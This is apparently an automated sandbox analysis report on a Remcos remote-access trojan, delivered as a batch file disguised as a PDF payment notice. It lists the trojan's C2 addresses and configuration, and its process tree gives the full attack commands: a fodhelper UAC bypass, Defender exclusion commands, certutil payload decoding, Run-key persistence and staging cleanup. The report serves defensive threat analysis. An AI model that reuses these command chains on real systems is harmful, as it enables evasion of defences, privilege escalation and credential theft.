Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2024, 10:33

General

  • Target
    DEBIT_ADVICE_000610PAY001522024.PDF.bat
  • Size 3.1MB
  • Sample240326-mlsl8agb75
  • SHA256 0a2ae63e384bb787bfaf113777640ad36ce8aabc235fd071de1cc746f32c1701
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 127.0.0.1:45671

  • 127.0.0.1:55677

  • 192.3.101.8:55677

  • 192.3.101.8:45671

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-2P1XPK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader Second Stage 1 IoCs
  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2060
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2220
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:4500
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:1760
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4940
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:1524
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3672
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3340
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4260
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:1252
              • C:\Windows\system32\fodhelper.exe
                "C:\Windows\system32\fodhelper.exe"
                4⤵
                  PID:3920
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2208
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
                3⤵
                • Executes dropped EXE
                PID:5020
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2104
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
                3⤵
                • Executes dropped EXE
                PID:3916
            • C:\Users\Public\Libraries\Lewxa.com
              C:\\Users\\Public\\Libraries\\Lewxa.com
              2⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:4912
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows "
                3⤵
                  PID:2396
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c mkdir "\\?\C:\Windows \System32"
                  3⤵
                    PID:2760
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c "C:\Windows \System32\3100739.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2968
                    • C:\Windows \System32\3100739.exe
                      "C:\Windows \System32\3100739.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:4488
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:556
                        • C:\Windows\system32\cmd.exe
                          cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                          6⤵
                            PID:64
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                              7⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5104
                    • C:\Windows\SysWOW64\extrac32.exe
                      C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF
                      3⤵
                        PID:1124
                      • C:\Windows\SysWOW64\colorcpl.exe
                        C:\Windows\System32\colorcpl.exe
                        3⤵
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: MapViewOfSection
                        • Suspicious use of SetWindowsHookEx
                        PID:3592
                        • C:\Windows\SysWOW64\colorcpl.exe
                          C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp"
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3024
                        • C:\Windows\SysWOW64\colorcpl.exe
                          C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
                          4⤵
                            PID:696
                          • C:\Windows\SysWOW64\colorcpl.exe
                            C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
                            4⤵
                              PID:1600
                            • C:\Windows\SysWOW64\colorcpl.exe
                              C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
                              4⤵
                              • Accesses Microsoft Outlook accounts
                              PID:4488
                            • C:\Windows\SysWOW64\colorcpl.exe
                              C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\rpwwdfdsmnvzzlumaxyysfyrwktrhjzq"
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3200
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 1516
                              4⤵
                              • Program crash
                              PID:4796
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:4624
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:3752
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:4000
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:1676
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4556
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /IM SystemSettings.exe
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2760
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4132
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /IM SystemSettingsAdminFlows.exe
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1768
                      • C:\Windows\system32\SystemSettingsAdminFlows.exe
                        "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                        1⤵
                          PID:4976
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3592 -ip 3592
                          1⤵
                            PID:4452
                          • C:\Windows\system32\rundll32.exe
                            "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
                            1⤵
                              PID:4980
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k UnistackSvcGroup
                              1⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1344

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  logs.dat

                                  • Path C:\ProgramData\remcos\logs.dat
                                  • Size 144B
                                  • SHA256 dac63faf94e8b1fcf71a5dc63f203d19b0733fcd922793f72e766624ff3d379e
                                  • MD5 SHA1 SHA512

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 64B
                                  • SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
                                  • MD5 SHA1 SHA512

                                  __PSScriptPolicyTest_efu0kejr.xic.ps1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efu0kejr.xic.ps1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512

                                  eaetbcaxcxlimqkezczvenqrmp

                                  • Path C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp
                                  • Size 4KB
                                  • SHA256 0672c1350202839c50058ce7097f6eac6d3788bac87b932f64a6c5f75674eb04
                                  • MD5 SHA1 SHA512 SSDEEP

                                  Lewxa.txt

                                  • Path C:\Users\Public\Lewxa.txt
                                  • Size 2.2MB
                                  • SHA256 5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
                                  • MD5 SHA1 SHA512 SSDEEP

                                  Lewxa.com

                                  • Path C:\Users\Public\Libraries\Lewxa.com
                                  • Size 1.1MB
                                  • SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
                                  • MD5 SHA1 SHA512 SSDEEP

                                  alpha.exe

                                  • Path C:\Users\Public\alpha.exe
                                  • Size 256KB
                                  • SHA256 ab0c5f236a0c2a8af48b70fb8acb4487ca9a0a51047d135277ba3d9047c831c8
                                  • MD5 SHA1 SHA512 SSDEEP

                                  alpha.exe

                                  • Path C:\Users\Public\alpha.exe
                                  • Size 283KB
                                  • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                                  • MD5 SHA1 SHA512 SSDEEP

                                  kn.exe

                                  • Path C:\Users\Public\kn.exe
                                  • Size 1.6MB
                                  • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                                  • MD5 SHA1 SHA512 SSDEEP

                                  xkn.exe

                                  • Path C:\Users\Public\xkn.exe
                                  • Size 442KB
                                  • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                                  • MD5 SHA1 SHA512 SSDEEP

                                  3100739.exe

                                  • Path C:\Windows \System32\3100739.exe
                                  • Size 128KB
                                  • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                                  • MD5 SHA1 SHA512 SSDEEP

                                  netutils.dll

                                  • Path C:\Windows \System32\netutils.dll
                                  • Size 112KB
                                  • SHA256 2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098
                                  • MD5 SHA1 SHA512 SSDEEP

                                  KDECO.bat

                                  • Path C:\windows \system32\KDECO.bat
                                  • Size 11KB
                                  • SHA256 a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9
                                  • MD5 SHA1 SHA512 SSDEEP

                                  memory/1344-167-0x000001F595850000-0x000001F595860000-memory.dmp

                                  memory/3024-119-0x0000000000400000-0x0000000000478000-memory.dmp

                                  memory/3024-139-0x0000000000400000-0x0000000000478000-memory.dmp

                                  memory/3024-123-0x0000000000400000-0x0000000000478000-memory.dmp

                                  memory/3024-127-0x0000000000400000-0x0000000000478000-memory.dmp

                                  memory/3200-137-0x0000000000400000-0x0000000000424000-memory.dmp

                                  memory/3200-134-0x0000000000400000-0x0000000000424000-memory.dmp

                                  memory/3200-124-0x0000000000400000-0x0000000000424000-memory.dmp

                                  memory/3200-136-0x0000000000400000-0x0000000000424000-memory.dmp

                                  memory/3340-22-0x00000161A9820000-0x00000161A9842000-memory.dmp

                                  memory/3340-29-0x00000161A9850000-0x00000161A9860000-memory.dmp

                                  memory/3340-28-0x00000161A9850000-0x00000161A9860000-memory.dmp

                                  memory/3340-34-0x00007FF853930000-0x00007FF8543F1000-memory.dmp

                                  memory/3340-27-0x00007FF853930000-0x00007FF8543F1000-memory.dmp

                                  memory/3592-100-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-116-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-101-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-102-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-104-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-108-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-109-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-110-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-111-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-113-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-115-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-99-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-97-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-145-0x0000000000400000-0x0000000001400000-memory.dmp

                                  memory/3592-141-0x000000001A1A0000-0x000000001A1B9000-memory.dmp

                                  memory/3592-144-0x000000001A1A0000-0x000000001A1B9000-memory.dmp

                                  memory/4488-120-0x0000000000400000-0x0000000000462000-memory.dmp

                                  memory/4488-126-0x0000000000400000-0x0000000000462000-memory.dmp

                                  memory/4488-135-0x0000000000400000-0x0000000000462000-memory.dmp

                                  memory/4488-133-0x0000000000400000-0x0000000000462000-memory.dmp

                                  memory/4488-132-0x0000000000400000-0x0000000000462000-memory.dmp

                                  memory/4488-72-0x00000000613C0000-0x00000000613E3000-memory.dmp

                                  memory/4912-61-0x0000000000840000-0x0000000000841000-memory.dmp

                                  memory/4912-59-0x0000000000400000-0x0000000000527000-memory.dmp

                                  memory/4912-56-0x0000000003E20000-0x0000000004E20000-memory.dmp

                                  memory/4912-55-0x0000000003E20000-0x0000000004E20000-memory.dmp

                                  memory/4912-49-0x0000000000840000-0x0000000000841000-memory.dmp

                                  memory/5104-83-0x00007FF851DE0000-0x00007FF8528A1000-memory.dmp

                                  memory/5104-85-0x000002BDD5950000-0x000002BDD5960000-memory.dmp

                                  memory/5104-86-0x000002BDD5950000-0x000002BDD5960000-memory.dmp

                                  memory/5104-89-0x00007FF851DE0000-0x00007FF8528A1000-memory.dmp